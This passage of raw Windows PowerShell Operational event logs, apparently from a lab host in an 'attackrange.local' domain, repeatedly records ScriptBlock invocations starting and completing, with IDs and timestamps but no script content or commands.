SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045333
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045332
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045331
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045330
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045329
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045328
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045327
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045326
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045325
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045324
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045323
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045322
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045321
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045320
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045319
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045318
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045317
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045316
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045315
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045314
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045313
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045312
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045311
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045310
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045309
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045308
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045307
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045306
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045305
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045304
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045303
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045302
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045301
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045300
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045299
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045298
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045297
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045296
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045295
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045294
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045293
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045292
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045291
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045290
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045289
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045288
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045287
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045286
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045285
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045284
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045283
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045282
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045281
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
